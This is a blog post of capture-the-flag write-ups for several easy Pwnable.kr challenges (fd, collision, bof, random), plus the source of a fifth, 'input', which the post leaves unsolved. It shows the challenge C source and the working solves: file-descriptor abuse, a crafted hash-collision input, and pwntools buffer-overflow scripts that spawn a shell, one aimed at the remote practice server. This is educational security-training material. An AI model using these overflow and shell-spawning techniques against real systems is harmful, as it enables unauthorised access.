Post

Pwnable.kr - Easy pwn/rev challenges

Pwnable.kr - Easy pwn/rev challenges

I did not solve many challenges from Pwnable.kr but here are the writeups for the three challenges I actually ended up solving, they are very easy challenges that require a little bit of reversing and pwn.

FD

After logging in as the user fd we see that there is a binary named fd and a C source file with the following contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

Let’s break this code down:

  • Line 6 checks if the number of argc are 2 and this includes the filename itself.
  • Line 10 defines a file descriptor, it seems that we can somehow control the file descriptor by passing in a number as the first argument. Let’s look into it further:
    • The atoi function converts a string to and integer and then 0x1234 is subtracted from the number we pass in. I don’t know a whole lot about file descriptors but I do know that 0 is the standard input which is most likely what we want just so that we can pass in the number like a normal input.
    • We need to most likely pass in argument that is equal to 0x1234 which is 4660 in decimal which will make the file descriptor that we read from 0 allowing us to then just pass in the information when the program runs.
  • On line 12 the input from the file descriptor (which we have control over) is read and is then compared to the string LETMEWIN on the following line.

Now we have a clear plan of attack and that is just set the first argument to 4660 and then pass in the LETMEWIN string to get the flag.

1
2
3
4
5
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
fd@pwnable:~$

And we have our first flag.

Further reading

[!info] read(2) - Linux man page
read - read from a file descriptor #include ssize_t read(int fd, void *buf, size_t count); read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.
https://linux.die.net/man/2/read
[!info] atoi(3) - Linux man page
atoi, atol, atoll, atoq - convert a string to an integer Feature Test Macro Requirements for glibc (see feature_test_macros (7)): atoll(): _BSD_SOURCE || _SVID_SOURCE || _XOPEN_SOURCE >= 600 || _ISOC99_SOURCE || _POSIX_C_SOURCE >= 200112L; orcc -std=c99 The atoi() function converts the initial portion of the string pointed to by nptr to int.
https://linux.die.net/man/3/atoi
[!info] What are file descriptors, explained in simple terms?
Other answers added great stuff.
https://stackoverflow.com/questions/5256599/what-are-file-descriptors-explained-in-simple-terms

Collision

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh
col@pwnable.kr -p2222 (pw:guest)

After logging in through SSH we see a col.c source file with the following contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

Let’s break this code down

  • In main we are checking if we have 2 arguments and the passcode argument is 20 bytes in length.
  • We then call the check_password function passing in the first command line argument as the argument.
  • On the next line the character pointer is being dereferenced and cast to an int pointer and storing that data in a int pointer. This part had my head spinning as I do not have much experience with pointers and the following website helped me kinda visualize it to help me understand.

[!info] C Tutor - Visualize C code execution to learn C online http://www.pythontutor.com/c.html#code=%23include%20%3Cstdio.h%3E%0A%23include%20%3Cstring.h%3E%0Aunsigned%20long%20hashcode%20%3D%200x21DD09EC%3B%0Aunsigned%20long%20check_password%28const%20char%20p%29%7B%0A%20%20%20%20%20%20%20%20int%20ip%20%3D%20%28int%29p%3B%0A%20%20%20%20%20%20%20%20int%20i%3B%0A%20%20%20%20%20%20%20%20int%20res%3D0%3B%0A%20%20%20%20%20%20%20%20for%28i%3D0%3B%20i%3C5%3B%20i%2B%2B%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20res%20%2B%3D%20ip%5Bi%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20printf%28%22%25x%5Cn%22,%20%26ip%5Bi%5D%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20res%3B%0A%7D%0A%0Aint%20main%28int%20argc,%20char%20argv%5B%5D%29%7B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20argv%5B1%5D%20%3D%20%22%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%5Cx10%22%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20if%28hashcode%20%3D%3D%20check_password%28%20argv%5B1%5D%20%29%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20system%28%22/bin/cat%20flag%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%200%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20else%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20printf%28%22wrong%20passcode.%5Cn%22%29%3B%0A%20%20%20%20%20%20%20%20return%200%3B%0A%7D&mode=edit&origin=opt-frontend.js&py=c&rawInputLstJSON=%5B%5D

The character pointer p that is being passed in is the first command line argument (passcode) is being converted to an int which points to block of 4 characters instead of one (like a char would)

We can see this in gdb by inserting a break point at the add instruction in the check_password function and checking the registers for the values.

1
2
3
4
5
6
7
8
9
10
11
12
gef  r AAAABBBBCCCCDDDDEEEE
gef  b *0x080484be
# On the first iteration
gef  info registers
eax            0x41414141          0x41414141
# On the second iteration
gef  info registers
eax            0x42424242          0x42424242
# On the third iteration
gef  info registers
eax            0x43434343          0x43434343
# Etc.

This would mean that we have 5 blocks of 4 bytes and adding them up all together would need to total 0x21DD09EC

We can do some math and try to figure out what bytes to pass in.

1
2
3
4
5
6
7
8
9
root:pwnable/ # python3 
Python 3.8.6 (default, Sep 25 2020, 09:36:53) 
[GCC 10.2.0] on linux
>>> 0x21DD09EC
568134124
>>> 0x21DD09EC / 5
113626824.8
>>> 0x21DD09EC % 5
4

Unfortunately there is a remainder of 4 after dividing the number to match with 5. We can do this a few ways one of which is divide the number in 4 of 113626824 and 1 of 113626828 to make up for the difference.

Let’s try that out:

1
2
3
4
5
6
>>> hex(113626824)
'0x6c5cec8'
>>> hex(113626828)
'0x6c5cecc'
col@pwnable:~$ ./col `python -c "print '\xcc\xce\xc5\x06' + '\xc8\xce\xc5\x06' * 4 "`
daddy! I just managed to create a hash collision :)

And we get the flag after sending in the raw bytes (little endian) to the binary.

bof

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download :
http://pwnable.kr/bin/bof
Download :
http://pwnable.kr/bin/bof.c
Running at : nc
pwnable.kr 900

We can download the source and take a look at what the binary is doing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
\#include <stdio.h>
\#include <string.h>
\#include <stdlib.h>
void func(int key){
 char overflowme[32];
 printf("overflow me : ");
 gets(overflowme); // smash me!
 if(key == 0xcafebabe){
  system("/bin/sh");
 }
 else{
  printf("Nah..\n");
 }
}
int main(int argc, char* argv[]){
 func(0xdeadbeef);
 return 0;
}

We see that the code is just calling the function function with an integer key 0xdeadbeef and then using the gets function to write data into the overflowme character array.

When a function loads it allocates the arguments → Return pointer (telling the function where to return) and then the local variables. So when we overflow the overflow me buffer it moves up and tries to overwrite the base pointer → Return address → function arguments.

We don’t know the exact offset where we begin to overwrite the key so we can just create a small script that can brute force it.

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
# Fuzz the values between 32 (because the buffer size is 32) and 100 (because why not)
for i in range(32,100):
 p = process("./bof")
 p.recv()
 print("Sending payload of size ", i)
 p.sendline(b"\x41" * i + p32(0xcafebabe))
  try:
  p.recv()
 except:
  break

p.interactive()

The above script gives us a shell at the 51 A's + p32(0xcafebabe)

No we know how to get a shell and we can just use the script on the remote target

1
2
3
4
from pwn import *
p = remote("pwnable.kr", 9000)
p.sendline(b"\x41"*52 + p32(0xcafebabe))
p.interactive()

random

Daddy, teach me how to use random value in programming!

After SSH’ing in to the machine we see a source code file random.c with the following contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

The code uses the function rand() which when called without a parameter will generate a number with the seed 1. Better explained in this article.

The vulnerability suggests that if we compile a program with the rand() function without a seed specified, we will get the same random number as the user who compiled the binary.

All we have to do now is compile a program that calls the rand function and prints out the value on the screen. We can use that value and XOR it with 0xdeadbeef to get the key and grab the flag.

1
2
3
4
5
6
7
8
9
./test
1804289383
python3 
>>> 1804289383 ^ 0xdeadbeef
3039230856
random@pwnable:~$ ./random 
3039230856
Good!
Mommy, I thought libc random is unpredictable...

input

Mom? how can I pass my input to a computer program?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>                                                                                                  
#include <sys/socket.h>            
#include <arpa/inet.h>
                                                          
int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");
                                                          
        // argv                    
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");     
                                                          
        // stdio     
        char buf[4];                                 
        read(0, buf, 4); 
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);           
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");               
                                                                                                                     
        // env                                           
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");
                                                          
        // file                            
        FILE* fp = fopen("\x0a", "r");                                                                               
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;      
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; 
        fclose(fp);
        printf("Stage 4 clear!\n");             
                                                          
        // network                 
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
    saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

        // here's your flag
        system("/bin/cat flag");
        return 0;
}
This post is licensed under CC BY 4.0 by the author.